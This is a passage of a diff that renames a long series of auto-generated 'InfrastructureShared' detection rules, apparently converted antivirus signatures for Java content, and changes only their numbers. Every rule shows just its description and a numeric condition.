"!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328972,7 +345811,7 @@ rule _InfrastructureShared_24928{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24929{ +rule _InfrastructureShared_26243{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328982,7 +345821,7 @@ rule _InfrastructureShared_24929{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24930{ +rule _InfrastructureShared_26244{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -328992,7 +345831,7 @@ rule _InfrastructureShared_24930{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24931{ +rule _InfrastructureShared_26245{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329002,7 +345841,7 @@ rule _InfrastructureShared_24931{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24932{ +rule _InfrastructureShared_26246{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329012,7 +345851,7 @@ rule _InfrastructureShared_24932{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24933{ +rule _InfrastructureShared_26247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329022,7 +345861,7 @@ rule _InfrastructureShared_24933{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24934{ +rule _InfrastructureShared_26248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329032,7 +345871,7 @@ rule _InfrastructureShared_24934{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24935{ +rule _InfrastructureShared_26249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329042,7 +345881,7 @@ rule _InfrastructureShared_24935{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24936{ +rule _InfrastructureShared_26250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329052,7 +345891,7 @@ rule _InfrastructureShared_24936{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24937{ +rule _InfrastructureShared_26251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329062,7 +345901,7 @@ rule _InfrastructureShared_24937{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24938{ +rule _InfrastructureShared_26252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329072,7 +345911,7 @@ rule _InfrastructureShared_24938{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24939{ +rule _InfrastructureShared_26253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329082,7 +345921,7 @@ rule _InfrastructureShared_24939{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24940{ +rule _InfrastructureShared_26254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329092,7 +345931,7 @@ rule _InfrastructureShared_24940{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24941{ +rule _InfrastructureShared_26255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329102,7 +345941,7 @@ rule _InfrastructureShared_24941{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24942{ +rule _InfrastructureShared_26256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329112,7 +345951,7 @@ rule _InfrastructureShared_24942{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24943{ +rule _InfrastructureShared_26257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329122,7 +345961,7 @@ rule _InfrastructureShared_24943{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24944{ +rule _InfrastructureShared_26258{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329132,7 +345971,7 @@ rule _InfrastructureShared_24944{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24945{ +rule _InfrastructureShared_26259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329142,7 +345981,7 @@ rule _InfrastructureShared_24945{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24946{ +rule _InfrastructureShared_26260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329152,7 +345991,7 @@ rule _InfrastructureShared_24946{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24947{ +rule _InfrastructureShared_26261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329162,7 +346001,7 @@ rule _InfrastructureShared_24947{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24948{ +rule _InfrastructureShared_26262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329172,7 +346011,7 @@ rule _InfrastructureShared_24948{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24949{ +rule _InfrastructureShared_26263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329182,7 +346021,7 @@ rule _InfrastructureShared_24949{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24950{ +rule _InfrastructureShared_26264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329192,7 +346031,7 @@ rule _InfrastructureShared_24950{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24951{ +rule _InfrastructureShared_26265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329202,7 +346041,7 @@ rule _InfrastructureShared_24951{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24952{ +rule _InfrastructureShared_26266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329212,7 +346051,7 @@ rule _InfrastructureShared_24952{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24953{ +rule _InfrastructureShared_26267{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329222,7 +346061,7 @@ rule _InfrastructureShared_24953{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24954{ +rule _InfrastructureShared_26268{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329232,7 +346071,7 @@ rule _InfrastructureShared_24954{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24955{ +rule _InfrastructureShared_26269{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329242,7 +346081,7 @@ rule _InfrastructureShared_24955{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24956{ +rule _InfrastructureShared_26270{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329252,7 +346091,7 @@ rule _InfrastructureShared_24956{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24957{ +rule _InfrastructureShared_26271{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329262,7 +346101,7 @@ rule _InfrastructureShared_24957{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24958{ +rule _InfrastructureShared_26272{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329272,7 +346111,7 @@ rule _InfrastructureShared_24958{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24959{ +rule _InfrastructureShared_26273{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329282,7 +346121,7 @@ rule _InfrastructureShared_24959{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24960{ +rule _InfrastructureShared_26274{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329292,7 +346131,7 @@ rule _InfrastructureShared_24960{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24961{ +rule _InfrastructureShared_26275{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329302,7 +346141,7 @@ rule _InfrastructureShared_24961{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24962{ +rule _InfrastructureShared_26276{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329312,7 +346151,7 @@ rule _InfrastructureShared_24962{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24963{ +rule _InfrastructureShared_26277{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329322,7 +346161,7 @@ rule _InfrastructureShared_24963{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24964{ +rule _InfrastructureShared_26278{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329332,7 +346171,7 @@ rule _InfrastructureShared_24964{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24965{ +rule _InfrastructureShared_26279{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329342,7 +346181,7 @@ rule _InfrastructureShared_24965{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24966{ +rule _InfrastructureShared_26280{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329352,7 +346191,7 @@ rule _InfrastructureShared_24966{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24967{ +rule _InfrastructureShared_26281{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329362,7 +346201,7 @@ rule _InfrastructureShared_24967{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24968{ +rule _InfrastructureShared_26282{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329372,7 +346211,7 @@ rule _InfrastructureShared_24968{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24969{ +rule _InfrastructureShared_26283{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329382,7 +346221,7 @@ rule _InfrastructureShared_24969{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24970{ +rule _InfrastructureShared_26284{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329392,7 +346231,7 @@ rule _InfrastructureShared_24970{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24971{ +rule _InfrastructureShared_26285{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329402,7 +346241,7 @@ rule _InfrastructureShared_24971{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24972{ +rule _InfrastructureShared_26286{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329412,7 +346251,7 @@ rule _InfrastructureShared_24972{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24973{ +rule _InfrastructureShared_26287{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329422,7 +346261,7 @@ rule _InfrastructureShared_24973{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24974{ +rule _InfrastructureShared_26288{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329432,7 +346271,7 @@ rule _InfrastructureShared_24974{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24975{ +rule _InfrastructureShared_26289{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329442,7 +346281,7 @@ rule _InfrastructureShared_24975{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24976{ +rule _InfrastructureShared_26290{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329452,7 +346291,7 @@ rule _InfrastructureShared_24976{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24977{ +rule _InfrastructureShared_26291{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329462,7 +346301,7 @@ rule _InfrastructureShared_24977{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24978{ +rule _InfrastructureShared_26292{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329472,7 +346311,7 @@ rule _InfrastructureShared_24978{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24979{ +rule _InfrastructureShared_26293{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329482,7 +346321,7 @@ rule _InfrastructureShared_24979{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24980{ +rule _InfrastructureShared_26294{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329492,7 +346331,7 @@ rule _InfrastructureShared_24980{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24981{ +rule _InfrastructureShared_26295{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329502,7 +346341,7 @@ rule _InfrastructureShared_24981{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24982{ +rule _InfrastructureShared_26296{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329512,7 +346351,7 @@ rule _InfrastructureShared_24982{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24983{ +rule _InfrastructureShared_26297{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329522,7 +346361,7 @@ rule _InfrastructureShared_24983{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24984{ +rule _InfrastructureShared_26298{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329532,7 +346371,7 @@ rule _InfrastructureShared_24984{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24985{ +rule _InfrastructureShared_26299{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329542,7 +346381,7 @@ rule _InfrastructureShared_24985{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24986{ +rule _InfrastructureShared_26300{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329552,7 +346391,7 @@ rule _InfrastructureShared_24986{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24987{ +rule _InfrastructureShared_26301{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329562,7 +346401,7 @@ rule _InfrastructureShared_24987{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24988{ +rule _InfrastructureShared_26302{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329572,7 +346411,7 @@ rule _InfrastructureShared_24988{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24989{ +rule _InfrastructureShared_26303{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329582,7 +346421,7 @@ rule _InfrastructureShared_24989{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24990{ +rule _InfrastructureShared_26304{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329592,7 +346431,7 @@ rule _InfrastructureShared_24990{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24991{ +rule _InfrastructureShared_26305{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329602,7 +346441,7 @@ rule _InfrastructureShared_24991{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24992{ +rule _InfrastructureShared_26306{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329612,7 +346451,7 @@ rule _InfrastructureShared_24992{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24993{ +rule _InfrastructureShared_26307{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329622,7 +346461,7 @@ rule _InfrastructureShared_24993{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24994{ +rule _InfrastructureShared_26308{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329632,7 +346471,7 @@ rule _InfrastructureShared_24994{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24995{ +rule _InfrastructureShared_26309{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329642,7 +346481,7 @@ rule _InfrastructureShared_24995{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24996{ +rule _InfrastructureShared_26310{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329652,7 +346491,7 @@ rule _InfrastructureShared_24996{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24997{ +rule _InfrastructureShared_26311{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329662,7 +346501,7 @@ rule _InfrastructureShared_24997{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24998{ +rule _InfrastructureShared_26312{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329672,7 +346511,7 @@ rule _InfrastructureShared_24998{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_24999{ +rule _InfrastructureShared_26313{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329682,7 +346521,7 @@ rule _InfrastructureShared_24999{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25000{ +rule _InfrastructureShared_26314{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329692,7 +346531,7 @@ rule _InfrastructureShared_25000{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25001{ +rule _InfrastructureShared_26315{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329702,7 +346541,7 @@ rule _InfrastructureShared_25001{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25002{ +rule _InfrastructureShared_26316{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329712,7 +346551,7 @@ rule _InfrastructureShared_25002{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25003{ +rule _InfrastructureShared_26317{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329722,7 +346561,7 @@ rule _InfrastructureShared_25003{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25004{ +rule _InfrastructureShared_26318{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329732,7 +346571,7 @@ rule _InfrastructureShared_25004{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25005{ +rule _InfrastructureShared_26319{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329742,7 +346581,7 @@ rule _InfrastructureShared_25005{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25006{ +rule _InfrastructureShared_26320{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329752,7 +346591,7 @@ rule _InfrastructureShared_25006{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25007{ +rule _InfrastructureShared_26321{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329762,7 +346601,7 @@ rule _InfrastructureShared_25007{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25008{ +rule _InfrastructureShared_26322{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329772,7 +346611,7 @@ rule _InfrastructureShared_25008{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25009{ +rule _InfrastructureShared_26323{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329782,7 +346621,7 @@ rule _InfrastructureShared_25009{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25010{ +rule _InfrastructureShared_26324{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329792,7 +346631,7 @@ rule _InfrastructureShared_25010{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25011{ +rule _InfrastructureShared_26325{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329802,7 +346641,7 @@ rule _InfrastructureShared_25011{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25012{ +rule _InfrastructureShared_26326{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329812,7 +346651,7 @@ rule _InfrastructureShared_25012{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25013{ +rule _InfrastructureShared_26327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329822,7 +346661,7 @@ rule _InfrastructureShared_25013{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25014{ +rule _InfrastructureShared_26328{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329832,7 +346671,7 @@ rule _InfrastructureShared_25014{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25015{ +rule _InfrastructureShared_26329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329842,7 +346681,7 @@ rule _InfrastructureShared_25015{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25016{ +rule _InfrastructureShared_26330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329852,7 +346691,7 @@ rule _InfrastructureShared_25016{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25017{ +rule _InfrastructureShared_26331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329862,7 +346701,7 @@ rule _InfrastructureShared_25017{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25018{ +rule _InfrastructureShared_26332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329872,7 +346711,7 @@ rule _InfrastructureShared_25018{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25019{ +rule _InfrastructureShared_26333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329882,7 +346721,7 @@ rule _InfrastructureShared_25019{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25020{ +rule _InfrastructureShared_26334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329892,7 +346731,7 @@ rule _InfrastructureShared_25020{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25021{ +rule _InfrastructureShared_26335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329902,7 +346741,7 @@ rule _InfrastructureShared_25021{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25022{ +rule _InfrastructureShared_26336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329912,7 +346751,7 @@ rule _InfrastructureShared_25022{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25023{ +rule _InfrastructureShared_26337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329922,7 +346761,7 @@ rule _InfrastructureShared_25023{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25024{ +rule _InfrastructureShared_26338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329932,7 +346771,7 @@ rule _InfrastructureShared_25024{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25025{ +rule _InfrastructureShared_26339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329942,7 +346781,7 @@ rule _InfrastructureShared_25025{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25026{ +rule _InfrastructureShared_26340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329952,7 +346791,7 @@ rule _InfrastructureShared_25026{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25027{ +rule _InfrastructureShared_26341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329962,7 +346801,7 @@ rule _InfrastructureShared_25027{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25028{ +rule _InfrastructureShared_26342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329972,7 +346811,7 @@ rule _InfrastructureShared_25028{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25029{ +rule _InfrastructureShared_26343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_JAVAHSTR_EXT,01 00 01 00 01 00 21 " @@ -329982,7 +346821,7 @@ rule _InfrastructureShared_25029{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_25030{ +rule _InfrastructureShared_26344{ meta: description = 